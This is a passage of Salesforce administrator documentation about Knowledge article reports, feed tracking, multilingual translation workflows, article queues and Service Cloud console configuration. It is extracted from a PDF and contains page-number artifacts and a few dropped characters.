Tip: The Cases with Articles report is available by default in the Customer Support Reports folder.

3. Find your report type and click Create.


For detailed information about creating a report, see Selecting a Report Type.
4. When viewing your report, click Save As and save it in the new Article Reports folder to make the report available to other
users.
Fields on Article Reports
The following article fields are available on reports.
Field

Description

Article Number

Unique number automatically assigned to the article.

Case Association Count

Number of cases attached to the article.

Channel

Channel applicable to the given record; possible values include All Channels, Internal
App, Customer Portal, Partner Portal, and Public Knowledge Base. In reports using the
Knowledge Articles custom report type, each article has five records (rows): one for each
channel.

Count

Depending on the report, the number of votes, views, or searches applicable to the duration
shown (Day, Month, Year).

Created By: Full Name

User who created the article.

Created Date

Date the article was drafted. If the article has been published more than once, this is the
original draft date.

Cumulative Count

Depending on the report, the total votes, views, or searches for the record.

Date

Last date on which activity took place for the record. All records (rows) represent a date,
channel, and role combination.

Duration

Depending on the report, indicates whether votes, views, or searches are a daily, monthly,
or yearly aggregation.

First Published Date

Date the article was originally published.

Found

Indicates whether the keyword shown was found during a search of the knowledge base.

Is Master Language

Indicates that the article is not a translation, but the original article.

Keyword

Search term used to search published articles in the knowledge base.

Knowledge Article Version Unique ID automatically assigned to the article translation.


ID
Language

The article's language.

Last Modified By: Full


Name

User who changed the article most recently.

Last Modified Date

Date the article was last changed.

Last Published Date

Date the article was last published.

Master Language

The original language of the article.

1509

Customize

Reporting on Articles

Field

Description

Out of Date

Indicates that the master article has been updated since this translation was published.

Publication Status

Indicates whether the article or translation is in progress (draft), published, or archived.

Related Role

Name of the role that applies to the record. In reports using the Knowledge Article Votes,
Knowledge Article Views, and Knowledge Article Searches custom report types, each
record (row) in the report represents votes, views, or searches per channel per role.

Score

Article's average rating on a scale of 1 to 5. Note that scores take into account a half-life
calculation. Every 15 days, if an article has not received a new vote its average rating
moves up or down. This change ensures that over time, older or outdated articles don't
maintain artificially high or low ratings compared to newer, more frequently used articles.
Articles without recent votes trend towards an average rating of three stars.

Summary

Description of the article provided by the author.

Title

Article title.

Total Sum

The total score for an article including the points from all votes. Each vote provides a
number of points:
1 Star is 10 points
2 Stars is 5 points
3 Stars is 0 points
4 Stars is +5 points
5 Stars is +10 points

Total Views

Number of times a published article has been viewed.

Total Votes

Number of votes for an article.

Translation Completed
Date

Date the translation was completed.

Translation Exported Date Date the article was exported for translation.
Translation Imported Date Date the translation was imported.
URL Name

Text used as hyperlink for the article.

Visible in Customer
Portal

Indicator that the article is published in the Customer Portal.

Visible in Internal App

Indicator that the article is published in the internal app (Articles tab).

Visible in Partner Portal Indicator that the article is published in the partner portal.
Visible in Public
Knowledge Base

Indicator that the article is published in the public knowledge base.

Tips on Using Article Reports


The following tips may help you read your article-related reports:

Create a Knowledge Keyword Search report to determine which terms users are looking for in your knowledge base.
In reports using the Article custom report type, you will have at least five rows per article (one for each channel, including
All Channels).

1510

Customize

Following Articles in Chatter Feeds

In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report
types, each row represents a day, channel, and role combination. For example, if a user with the Kingmaker role views
articles in the internal app and the next day the same user views more articles in the internal app, the Article Views report
has two rows: one for each unique date.
In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report
types, the Count indicates the number of votes, views, or searches for the duration shown (Day, Month, or Year). The
Cumulative Count is the grand total for the history of the record.
An article's score (rating) uses a half-life calculation. Every 15 days, if an article has not received a new vote its average
rating moves up or down. This change ensures that over time, older or outdated articles don't maintain artificially high or
low ratings compared to newer, more frequently used articles. Articles without recent votes trend towards an average rating
of three stars.
If you want to report on highest-rated articles without taking into account the decay factored into the Score field, use
the Total Sum field.

See Also:
Custom Report Types Overview
Setting Up Custom Report Types
Creating a Custom Report

Following Articles in Chatter Feeds


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit the feed tracking setup page:

Customize Application

Feed tracking for Salesforce Knowledge articles is enabled by article type rather than article. To enable feed tracking for article
types:
1. Click Your Name > Setup > Customize > Chatter > Feed Tracking.
2. Select an article type. Each article type appears by name in the Object list. For example, if your organization has three
article types named Offer, FAQ, and Warranty, all three appear alphabetically in the Objects list.
3. Select Enable Feed Tracking, then click Save when you're done with the page.
Unlike other objects, individual fields on article types are not tracked. Instead, changes to publication status trigger updates.
Specifically, when you follow an article (meaning you've clicked Follow on the published article), posts about that article
on your Home tab feed occur:

If the article is removed from the knowledge base for edit (unpublished) and you have the Manage Articles permission.
Three Months Free Al Smith unpublished this offer
If the article is republished. Three Months Free Al Smith published a new version of this offer
If the article is republished and flagged as new by the publisher. Three Months Free Al Smith published this new offer
If the article is archived. Three Months Free Al Smith archived this offer

1511

Customize

Modifying Category Group Assignments in Salesforce Knowledge

Note: The article-title link always opens the current version of the article in the knowledge base. For example,
let's say you're following an article that is converted to draft (unpublished) on Monday, republished with changes
on Tuesday, and archived on Friday. You receive three updates in your feed: one for each status change. If on
Friday you browse your feed history and click the article link from Monday's update, the archived version of the
article opensnot Monday's draft version.

See Also:
Chatter Overview
Salesforce Knowledge Overview
Salesforce Knowledge Terminology
Defining Article Types

Modifying Category Group Assignments in Salesforce


Knowledge
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify category groups assignments in Salesforce
Knowledge:

Customize Application
AND
Manage Salesforce Knowledge

Salesforce Knowledge uses data categories to classify articles. Authors can assign up to eight data categories from one category
group to an article so that users searching for articles can find and filter by category. For more information, see What are Data
Categories? on page 1562
Data categories are organized by category group. After creating category groups, you can decide which groups should be used
for Salesforce Knowledge articles. For example, if your organization uses both the Answers and Salesforce Knowledge, you
may want one category group to be used by the answers community and two other category groups to be used for articles.
Answers and articles can use the same category group.
By default, all the category groups you create are assigned to Salesforce Knowledge. To modify the assignment:
1. Click Your Name > Setup > Customize > Knowledge > Data Category Assignments. A list of all category groups appears.
2. Click Edit and move any category groups that you don't want available for articles from the Selected Category Groups list
to the Available Category Groups list. Later, you can choose to make a hidden category group visible.
3. Click Save.
You receive an email after the save process completes. Authors can now assign categories in the selected groups to articles on
the Article Management tab. Note that authors can only access categories if the category group is active and the author's data
category visibility settings provide access to the category.

1512

Customize

Supporting Multiple Languages in Your Knowledge Base

Supporting Multiple Languages in Your Knowledge Base


Available in: Enterprise, Unlimited, and Developer Editions

Watch a Demo (3:39 minutes)


With multiple languages for Salesforce Knowledge you can lower support costs by translating articles into the languages your
audience prefers. After an administrator selects your language settings, two translation methods are available: translating articles
in-house using the editing tool in the knowledge base, or sending articles to a localization vendor. Different languages can
use different methods. For example, you may want to export articles to a vendor for French translations, but assign articles to
a Salesforce Knowledge user for Spanish translations.
Translating an article within the knowledge base usually follows these steps:
1. An author or reviewer submits an article for translation to another knowledge base user (the assignee).
2. The assignee translates the article using the article editor, then assigns the finished translation to a reviewer or publisher.
3. The reviewer publishes the article. Publishing an article automatically includes both the source article and its completed
translations. Note that a translated version of an article can be published before its source article, but it will only be visible
to readers when its source article is also published.
Translating an article using a vendor usually follows these steps:
1. An author or reviewer assigns an article to a queue for translation.
2. An administrator creates an export file from the queue and sends the file to the localization vendor.
3. After the vendor returns the translated articles, an administrator imports the translated articles into the knowledge base.
Imported articles can be published automatically or assigned to a reviewer.
4. If the translations weren't published automatically, the assignee reviews and publishes them.
Implementation Tips

Before you add languages to your knowledge base, decide for each language whether you want to translate articles directly
in Salesforce or export articles to a translation vendor. Communicate your decision to the people involved in the translation
process (authors, reviewers, translation managers, publishers).
When adding a language to your knowledge base, keep in mind that it can't be deleted; however, you can hide a language
by making it inactive. Deactivating a language means it no longer appears as a choice in the New Article dialog or the
Submit for Translation dialog. Also, if articles are already published in the language, those articles are no longer visible to
readers as soon as the language is deactivated.
You can only add languages supported by Salesforce to your knowledge base.
To enable the article export feature, you must create one or more queues; authors and reviewers will select the queue when
they submit an article for translation. Make sure they know which queue to choose for which language.
You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder
whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create
your import file.

Best Practices

To hide translated articles for a specific language, deactivate the language by unchecking Active on the Settings page.

1513

Customize

Supporting Multiple Languages in Your Knowledge Base

To import translated articles successfully, verify that the file structure and their extensions match the file structure and
extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the
file structure begins as follows:
import.properties
-fr
--articletypearticlename_kav
---articlename.csv
---[Article collateral, html, images, etc.]

See Also:
Setting up a Multilingual Knowledge Base
Exporting Articles for Translation
Importing Article Translations
Translating Articles within Salesforce Knowledge

Setting up a Multilingual Knowledge Base


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up multiple languages for Salesforce Knowledge:

Customize Application
AND
Manage Salesforce Knowledge

To set up your knowledge base to support multiple languages:


1. If you will send articles to a vendor for translation, you must create a translation queue. For a description of the translation
process, see Supporting Multiple Languages in Your Knowledge Base on page 1513.
2. On the Your Name > Setup > Customize > Knowledge > Settings page click Edit.
3. Select Multiple Languages and add the languages you want to include in your knowledge base. You can only add
languages supported by Salesforce.
Note: You can't remove a language once you've added it to your knowledge base.

4. Optionally, choose the following settings for each language:


Setting

Description

Active

Only active languages appear in the New Article dialog and


the Submit for Translation dialog. Also, active/inactive status

1514

Customize

Supporting Multiple Languages in Your Knowledge Base

Setting

Description
determines whether a published article is visible. For
example, if articles are published in Spanish to your partner
portal and then you make Spanish an inactive language, the
articles are no longer visible to partners.

Default Assignee

This value appears in the Assign To field of the Submit


for Translation dialog. Choose a person or a queue: the
individual responsible for translating articles into this
language, or the queue used for exporting articles to a
localization vendor.

Default Reviewer

Select the person who should be assigned to review or publish


translations imported in this language.

5. Click Save.

See Also:
Setting Up Salesforce Knowledge
Customizing Salesforce Knowledge Settings

Translating Articles within Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To work with translated articles:

Manage Articles
AND
Create, Read, Edit, or Delete on the article type
(depending on the action)

Depending on the status of your translation and the article actions assigned to you, you can do the following from the translation
detail page.
Action

Description

Article Status

Archive

Archiving removes published translations To archive a translation, archive its


that are obsolete so they no longer display master article.
to agents and customers on your
organization's Salesforce Knowledge
channels.

1515

Customize

Supporting Multiple Languages in Your Knowledge Base

Action

Description

Article Status

Assign...

Assigning changes the owner of the


translation.

Draft translations

Delete

Deleting a translation permanently


removes it from the knowledge base.

Draft translations

Note: You can't undelete a draft


translation.

Edit

Editing modifies the translation's content Draft and published translations


or properties.

Preview

Previewing shows how the translation


appears to end users.

Draft and published translations

Note: Voting and Chatter


information is not available when
previewing a Knowledge article.
Publish...

Publishing translations makes them


visible in all channels selected.

Draft translations

To translate an article within Salesforce:


1. Click the Article Management tab and select Translations in the View area.
2. Select Draft Translations.
3. Optionally, change the Assigned To filter to view articles that are not assigned to you for translation. For example, you
may want to view articles assigned to a translation queue.
4. Click Edit next to the article and language you want to translate.
5. Enter your translation.
6. Click Save.
Note: You can also edit a published translation. It reverts to draft status until you republish it, although you can
choose to keep the existing version published while you update it.

See Also:
Supporting Multiple Languages in Your Knowledge Base
Exporting Articles for Translation
Importing Article Translations

1516

Customize

Supporting Multiple Languages in Your Knowledge Base

Exporting Articles for Translation


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To export articles:

Manage Salesforce Knowledge


AND
Manage Articles
AND
Manage Knowledge Article Import/Export

To view articles:

Read on the article type

To create articles:

Read and Create on the article type

If your organization sends Salesforce Knowledge articles to a vendor for translation, articles are put into a translation queue.
Note: You can have up to 50 exports in 24 hours and a maximum of 15 pending exports (exports that have not entered
a final state such as Completed, Failed, or Cancelled).
To generate an export file containing the articles that have been submitted for translation:
1. Click Your Name > Setup > Data Management > Export Articles for Translation.
2. Select the queue that contains the articles you're exporting.
3. Click either:

All articles to export every article in the queue.


Updated articles to only export articles that have been modified or added.

4. Click Continue.
5. Select the source and target language pairs you want to export. Salesforce creates a separate .zip file for every article type
in each language pair.
Attention: You must retain the .zip file structure for a successful import. For more information, see Importing
Article Translations on page 1506.
6. To have the files reviewed or published after being translated, select a user or a queue and then select the name of the user
or queue.
7. Select the file character encoding:

ISO-8859-1 (General US & Westion European, ISO-LATIN-1)


Unicode
Unicode (UTF-8) default
Japanese (Windows)

1517

Customize

Supporting Multiple Languages in Your Knowledge Base

Japanese (Shift_JIIS)
Chinese National Standard (GB18030)
Chinese Simplified (GB2312)
Chinese Traditional (Big5)
Korean
Unicode (UTF-16, Big Endian)

8. Select the delimiter for the .csv files. The delimiter is the separator for columns when the file is converted to table form.
Your options are:

Tab (This is the default.)


Comma

9. Click Export Now.


You're notified by email when your export is complete. You can also check the status of your export by viewing the Article
Import and Export Queue at Your Name > Setup > Monitoring > Article Imports and Exports.
For description of status states, see View Salesforce Knowledge Import and Export Status on page 1504.
10. Unzip the exported files, but retain the file structure for a successful import.

See Also:
Setting up a Multilingual Knowledge Base
Importing Article Translations

Creating an Article Queue


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change queues:

Customize Application
AND
Manage Public List Views

To create or change queues created by other users:

Customize Application
AND
Manage Public List Views
AND
Manage Users

If your organization wants to use queues in approval processes or send articles for translation outside of Salesforce, you need
to create one or more queues. When authors or reviewers submit an article for review or translation, they select the appropriate

1518

Customize

Supporting Multiple Languages in Your Knowledge Base

queue. For reviews, you can create queues made up of reviewers with different areas of expertise. For translation queues, you
can create one queue for each language or combine languages within queues.
To create a queue:
1. Click Your Name > Setup > Manage Users > Queues.
2. Click New.
3. Enter the Label and Queue Name. The Label is the queue label as it appears on the user interface. The Queue Name is a
unique name used by the API and managed packages, and can only contain alphanumeric characters and underscores.
4. Choose email notification settings for the queue:
To Notify

You Must

One email address when new records are placed in the queue Add an email address to Queue Email.
You can add an email address for an individual user or an
email distribution list.
All queue members individually when new records are placed Leave Queue Email blank.
in the queue
All queue members and the Queue Email individually
when new records are placed in the queue

Add an email address to Queue Email and check Send


Email to Members.

5. Add Knowledge Article Version as the object available to the queue.


6. Choose queue members.
You can select individual users, roles, public groups, territories, connections, or partner users. Only queue members and
users above them in the role hierarchy can take ownership of records in the queue, depending on your organization's sharing
settings.
7. Click Save.

See Also:
Exporting Articles for Translation
Queues Overview
Creating Queues

1519

Setting Up a Service Cloud Console

Setting Up a Service Cloud Console

SETTING UP A SERVICE CLOUD CONSOLE


Setting Up a Service Cloud Console
Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To set up a Service Cloud console:

Customize Application

To set up a Service Cloud console:


1.
2.
3.
4.
5.
6.
7.

Customize highlights panels for all objects.


Create an app for your Service Cloud console and assign it to user profiles.
Set up interaction logs and assign them to user profiles.
Choose how lists display.
Whitelist domains.
Customize push notifications.
Set up call center with version 4.0 of the CTI Toolkit. Call center users can only use a SoftPhone in a Service Cloud console
if they're using a CTI adapter built with version 3.0 or 4.0 of the CTI Toolkit; or if theyre using a call center built with
the Open CTI.
8. If Salesforce Knowledge is set up, turn on the Knowledge sidebar for cases:
a.
b.
c.
d.
e.

Click Your Name > Setup > Customize > Cases > Page Layouts.
Click Edit next to a page layout.
Click Layout Properties.
Check Knowledge Sidebar, and click OK.
Click Save.

Repeat these steps for each case page layout assigned to console users.
9. Optionally, set up Live Agent for the console.
10. Assign users the Service Cloud User feature license:
a.
b.
c.
d.

Click Your Name > Setup > Manage Users > Users.
Click Edit next to a user's name.
Select Service Cloud User.
Click Save.

Tips on Setting Up a Service Cloud Console

The new user interface theme automatically displays for all pages in a Service Cloud console. It's not applied to any pages
outside of a Service Cloud console unless you enable it.

1520

Customize

Setting Up a Service Cloud Console

You can review an out-of-the box Service Cloud console by selecting Sample Console from the Force.com app menu.
Administrators can customize the Sample Console and give users access to it at Your Name > Setup > Create > Apps.
You must refresh your browser to see any setup changes to a Service Cloud console.
Advanced administrators and developers can use the Service Cloud Console Integration Toolkit, or custom console
components, to implement custom functionality for the Service Cloud console. See Custom Console Components Overview
on page 1529.

See Also:
Service Cloud Console Overview
Service Cloud Console Terminology
Setting Up Salesforce Knowledge

Customizing Highlights Panels


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To customize page layouts:

Customize Application

To view page layouts:

View Setup

View key information at a glancethe highlights panel is a table of up to four columns at the top of every primary tab in a
Service Cloud console. Each column has one or two fields that you can customize to suit your business needs.
Highlights Panel Fields and Format
The Highlights panel displays standard and custom fields, and columns. The following formatting rules apply:

Standard and custom fields


Fields must also be on the detail page layout
Fields can appear once per highlights panel

Columnsminimum one, maximum four. Column widths resize automatically.


Fields per columnone or two, in top or bottom positions.
When users see the highlights panel:
Top fields appear in bold and in a larger font than bottom fields.
Blank fields appear as follows:
-

Top fieldsappear blank (except when top fields are blank because users don't have permission to view them).
Bottom fieldsthe top field expands to fill the column
Both fieldsthe column appears blank

Users see only the fields that they have permission to view.

1521

Customize

Setting Up a Service Cloud Console

If users can't see:


Top fieldsthe bottom field replaces the top field and expands to fill the column
Bottom fieldsthe top field expands to fill the column
Any fields in a columnthe column is removed

Editing the Highlights Panel


Hover over the highlights panel on any page layout and click

(or double-click the highlights panel) to edit.

To add or change fields, click the appropriate column and select fields from the Top Field and Bottom Field
lists:
Fields must also be on the detail page layout. If fields you want to add aren't listed, add them to the detail page
layout.
Rich text area (RTA) and custom long-text area fields are not supported in the highlights panel, even if they are
included in the detail page layout.
Fields can appear once per highlights panel. Fields already in use appear grey in the field-selection lists.

To remove fields, click the appropriate column and select -None- from the field-selection lists.
To add columns, click Add Column.
To remove columns, hover over the column and click
.
To save highlights panel changes, click OK in the Highlights Panel Properties dialog box. When you've finished
editing the page layout, click Save. Don't navigate away from the page layout before clicking Save or you'll lose your
changes.

Turning off the Highlights Panel


Edit any page layout and click Layout Properties, deselect Highlights Panel, and click OK. Then save the page
layout.

See Also:
Service Cloud Console Overview
Setting Up a Service Cloud Console
Customizing Page Layouts

1522

Customize

Setting Up a Service Cloud Console

Creating a Service Cloud Console App


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To view apps:

View Setup and Configuration

To manage apps:

Customize Application

Watch a Demo (1:30 minutes)


You create a Service Cloud console as a custom app that users select from the Force.com app menu. The number of Service
Cloud console apps you can create is based on your custom app limits.
1.
2.
3.
4.

Click Your Name > Setup > Create > Apps.


Click New.
Select Service Cloud console and click Next.
Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name
in the Force.com app menu.
5. Optionally, enter a description of the app.
6. Click Next.
7. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library.
Consider these requirements when choosing a custom app logo from the document library:

The image must be in GIF or JPEG format and less than 20 KB in size.
If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
For the best on-screen display, we recommend you use an image with a transparent background.
The Externally Available checkbox must be selected on the document's properties so that users can view the
image.

8. Click Next.
9. Select the items to include in the navigation tab. For example, if you want users to choose accounts from the navigation
tab, move Accounts from Available Navigation Tab Items to Selected Navigation Tab Items.

Click the left and right arrow buttons to add or remove items.
Click the up and down arrow buttons to define the order in which items display on the navigation tab when it's clicked.
Note:

You can't add the following to the navigation tab: forecasts, ideas, answers, connections, portals, console, home,
activities (tasks and events), or buttons for customizing your organization. You can add Google AdWords to
the navigation tab, but it might not display correctly in the console.
Tab visibility settings, and the Overwrite users' personal tab customizations setting, don't apply
to the navigation tab. For example, users can access Accounts from the navigation tab even if Accounts are
Tab Hidden on user profiles.

1523

Customize

Setting Up a Service Cloud Console

10. Click Next.


11. Choose how items display in the console when they're not selected from a primary tab or subtabs. For example, when users
select cases from list views, search results, or screen pops, you can choose whether cases display as primary tabs or as subtabs
on parent records.
Next to an object, click:

As a primary tab to display the object's records as primary tabs.


As a subtab of to display the object's records as subtabs. From the drop-down list, choose the parent record where

the subtabs will appear. For example, if you want cases to appear as subtabs on contacts, select Contact Name (Contact)
in the Cases row. If parent records don't apply, subtabs appear as primary tabs. For example, if you make campaigns a
subtab of leads but a lead doesn't belong to a campaign, that campaign appears as a primary tab.
12. Click Next.
13. Optionally, if your organization has Live Agent enabled, select Include Live Agent in this App to enable a chat
workspace for Live Agent users in the console. After you select this checkbox, you can:

Choose records or pages to open as subtabs of chat sessions.


Select Include Suggested Articles from Salesforce Knowledge in Live Agent to display the articles
tool in the chat workspace.

14. Click Next.


15. Assign the Service Cloud console to user profiles:
a. Check the Visible box to choose the user profiles for which the app will be available.
b. Check the Default box to set the app as that profiles default app. This means that new users who have the profile
will see this app when they log in for the first time. Profiles with limits are excluded from this list.
16. Click Save.
Tip: You must refresh your browser to see any setup changes to a Service Cloud console.

See Also:
Setting Up a Service Cloud Console
Service Cloud Console Overview
What is an App?

1524

Customize

Setting Up a Service Cloud Console

Setting Up Interaction Logs


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To set up interaction logs:

Customize Application

A Service Cloud console lets users write notes on records that appear on primary tabs. A set of notes is called an interaction
log.
Creating Interaction Logs
You can create multiple interaction logs and customize them to display specific task fields for different users to update.
1.
2.
3.
4.

Click Your Name > Setup > Create > Interaction Log Layouts.
Click New.
Name the interaction log.
Select task fields to add to the interaction log and click Add.

* indicates required fields.


You can only add editable task fields to interaction logs.
The Enter your notes here... field is automatically added to all interaction logs; you can't remove it.

5. If you want this interaction log to be the default for all users, select Set as default layout.
You can't delete a default interaction log; you must first mark another interaction log as the default for your organization.
6. Click Save.
Tip: You can create custom fields for tasks and add them to interaction logs. For example, you can create a Caller
Disposition picklist with values of Angry, Neutral, and Satisfied.

Assigning Interaction Logs


After you set up or customize interaction logs, you can assign them to different user profiles.
1.
2.
3.
4.

Click Your Name > Setup > Create > Interaction Log Layouts.
Click Log Layout Assignment.
Choose an interaction log to assign to each user profile.
Click Save.
Note: You can't assign interaction logs to portal user profiles because Service Cloud console apps arent available to
portal users.

Turning off Interaction Logs


You can turn off interaction logs on page layouts assigned to different user profiles.
1. For standard objects, click Your Name > Setup > Customize > Object > Page Layouts.

1525

Customize

Setting Up a Service Cloud Console

For custom objects, click Your Name > Setup > Create > Objects, then choose the object.
2.
3.
4.
5.

Click Edit next to a page layout.


Click Layout Properties.
Deselect Interaction Log and click OK.
Click Save.
Note: If you turn on or off interaction logs, you must close and reopen records to see the changes.

See Also:
Setting Up a Service Cloud Console
Service Cloud Console Overview

Choosing How Lists Display in a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To choose how lists display:

Customize Application

In a Service Cloud console, you can display lists in one of three ways:
List Type

Description

Full screen, unpinned

Lists are visible only when the navigation tab is selected. When
you select a record from the list, it opens in a new tab.

Pinned to top

Lists appear at the top of the page and are always visible.
When you select a record from the list, it opens in a new tab
below the list.

Pinned to left

Lists appear on the left side of the page and are always visible.
When you select a record from the list, it opens in a new tab
to the right of the list.

To change how lists display:


1.
2.
3.
4.

Click Your Name > Setup > Create > Apps.


Select a Service Cloud console app.
Click Edit.
Choose how you want lists to display. If you choose pinned lists, specify a default size, in pixels or percentage of screen
space.
5. Click Save.

1526

Customize

Setting Up a Service Cloud Console

Note: If a user hasn't yet selected a record from a list, the list automatically displays full screen.

See Also:
Resizing and Minimizing Pinned Lists in a Service Cloud Console

Whitelist Domains for a Service Cloud Console


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To whitelist domains for a Service Cloud console:

Customize Application

You can allow users to access domains outside of Salesforce from within a Service Cloud console. For example, you can add
www.example.com to a consoles whitelist so that console users can access that domain.
1.
2.
3.
4.

Click Your Name > Setup > Create > Apps.


Select a Service Cloud console app.
Click Edit.
In Whitelist Domains, type the domains you want users to access, and separate multiple domains by commas. You
dont need to enter http:// or https:// because those are part of a URL, not a domain.
5. Click Save.

See Also:
Setting Up a Service Cloud Console

Customizing Push Notifications


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To customize push notifications:

Customize Application

Push notifications are visual indicators on lists and detail pages in a Service Cloud console that show when a record or field
has changed during a users session. For example, if two support agents are working on the same case and one agent changes
the Priority, a push notification displays to the other agent so he or she notices the change and doesnt duplicate the effort.

1527

Customize

Setting Up a Service Cloud Console

To choose when push notifications display and which objects and fields are trigger push notifications:
1.
2.
3.
4.

Click Your Name > Setup > Create > Apps.


Select a Service Cloud console app.
Click Edit.
In Choose How Lists Refresh, select when push notifications occur:
Option

Description

None

Lists dont refresh. Push notifications dont occur.

Refresh List

The entire list refreshes when there are any changes to it.
Records are added to or removed from the list based on the
lists criteria.

Refresh List Rows

Rows in the list refresh when there are any changes to fields
specified for push notifications.

5. In Choose How Detail Pages Refresh, select when push notifications occur:
Option

Description

Do Not Refresh

Detail pages dont refresh. Push notifications dont occur.

Automatically Refresh

The detail page automatically refreshes when a record is


changed.

Flag

A message appears on the detail page when a record is


changed.

6. Click Select objects and fields for notifications.


7. Click Edit.
8. Select the objects you want to trigger push notifications. For example, if you want changes to cases and case fields to trigger
push notifications, move Cases from Available Items to Selected Items.
9. Under Fields, click Edit to select the object fields you want to trigger push notifications.
10. Click OK.
11. Click Save.
Note: The following objects and their fields are available for push notifications:

Custom objects
Cases
Accounts
Contacts
Leads
Campaigns
Opportunities

See Also:
Setting Up a Service Cloud Console

1528

Customize

Custom Console Components Overview

Custom Console Components Overview


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

Custom console components let you customize, extend, or integrate the footer, sidebars, highlights panels, and interaction
logs of a Service Cloud console using Visualforce. Visualforce uses a tag-based markup language to give developers a more
powerful way to build applications and customize the Salesforce user interface.
For example, you might want to create custom console components that display:

Third-party apps or data


Custom highlights panels or interaction logs
Chat or Softphone widgets
The location of contacts on Google maps
Messages from marquees
New cases on accounts or contacts
The next milestones on cases
Registered products on accounts or contacts
Similar cases on each case

You can use the Service Cloud Console Integration Toolkit to build custom console components. The toolkit is an API that
uses browsers as clients to display pages as tabs or widgets in console apps. It provides you with programmatic access to console
apps so that you can extend them to meet your business needs. For example, you can use the toolkit to open and close tabs in
a console to streamline a business process. In addition to this, custom console components can display:

Content in sidebars, highlights panels, and interaction logs, instead of tabs


Content when users click a customizable button in the footer
Information without users having to click a button or link
Content when users view specific pages
Contextual information alongside records
Small amounts of information on pages

For more information (English only) about the toolkit, see the Service Cloud Console Integration Toolkit Developer's Guide.
Creating a custom console component typically involves these steps:
1. Developers create a Visualforce page.
2. Administrators add the Visualforce page to either:

Page layouts to display content on specific pages or


Service Cloud console apps to display content across all pages and tabs

3. Administrators determine the width and location of the component in the console.
4. Administrators who add a component to apps:

Specify the look and feel of the button used to access the component from the footer
Assign the component to each console where they want users to access it

5. Users view the component when they access page layouts or click a button in the footer of a console.

1529

Customize

Custom Console Components Overview

Implementation Tips

Only users assigned to the Service Cloud User feature license can add custom console components to page layouts. See
Viewing Feature Licenses on page 609.
Custom console components don't refresh automatically when users update records on primary tabs or subtabs.
You can't delete Visualforce pages that are assigned to page layouts as custom console components.
You can use a Visualforce page as a component once for each page layout.
You can add a Visualforce page as a component to the Top Sidebar or Bottom Sidebar of primary tabs after you turn off
the highlights panel or interaction log on the appropriate page layouts.
Unlike other Visualforce pages, you don't have to set the standard controller on custom console components to the object
whose page layout you're customizing.
Two URL parameter values are passed automatically to Visualforce pages used as custom console components:
Parameter Name

Parameter Value

Description

id

A case-sensitive 15-character
alphanumeric string that uniquely
identifies a record.

The ID of the detail page in which the


component displays.

true

Indicates the Visualforce page displays


as a component in a Service Cloud
console.

inContextPane

This parameter is only passed if the ID


is available.

Best Practices

If you want a custom console component to display across all of the subtabs in a primary tab, we recommend that you add
the component to the Primary Tab Components section on page layouts. Adding a component to the Subtab Components
section on page layouts displays the component on individual subtabs.
If Salesforce Knowledge is enabled and the Knowledge sidebar is turned on, we recommend that you don't add a custom
console component to the Right Sidebar of a console on case page layouts. This is because the Knowledge sidebar
automatically displays over components in such cases.
If you change the Height or Width of a custom console component, we recommend that you refresh your browser before
you view your updates.
If you add showHeader=true to a Visualforce page, you can add a 15pixel gap to the right and left sides of a custom
console component to visually indicate its location in a sidebar. For example, <apex:page>
standardController="Contact" showHeader="false" title="List of Cases">.

See Also:
Service Cloud Console Overview
Setting Up a Service Cloud Console
Adding Custom Console Components
Defining Visualforce Pages

1530

Customize

Custom Console Components Overview

Adding Custom Console Components


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To add custom console components:

Customize Application

To create Visualforce pages:

Customize Application

After you create a custom console component (Visualforce page), you can add it to page layouts or Service Cloud console apps.
Add a component to page layouts if you want users to access your component from the sidebars of specific pages, such as cases
or accounts. Add your component to an app if you want users to access your component from a button on the footer of any
page or tab, such as a chat or SoftPhone widget, which is useful from any location.

Adding Custom Console Components to Page Layouts


Adding Custom Console Components to Apps

See Also:
Custom Console Components Overview
Service Cloud Console Overview
Setting Up a Service Cloud Console
Defining Visualforce Pages

Adding Custom Console Components to Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To add custom console components:

Customize Application

To create Visualforce pages:

Customize Application

After you create a custom console component (Visualforce page), you can add it to page layouts so that users can access it from
a sidebar in a Service Cloud console.
1. For standard objects, click Your Name > Setup > Customize > Object > Page Layouts.
For custom objects, click Your Name > Setup > Create > Objects, then choose the object.
2. Click Edit next to a page layout.
3. Click Custom Console Components.

1531

Customize

Custom Console Components Overview

4. Next to the sidebar in which you want to add your component, type the name of the Visualforce page, or click
and select the Visualforce page.
5. Enter the height or width of the component as it should display in a console.
6. Click Save.

to find

See Also:
Adding Custom Console Components to Apps
Custom Console Components Overview

Adding Custom Console Components to Apps


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed


To add custom console components:

Customize Application

To create Visualforce pages:

Customize Application

After you create a custom console component (Visualforce page), you can add it as a button in the footer of Service Cloud
console apps for user access.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Service Cloud Console > Custom Console Components.
Click New.
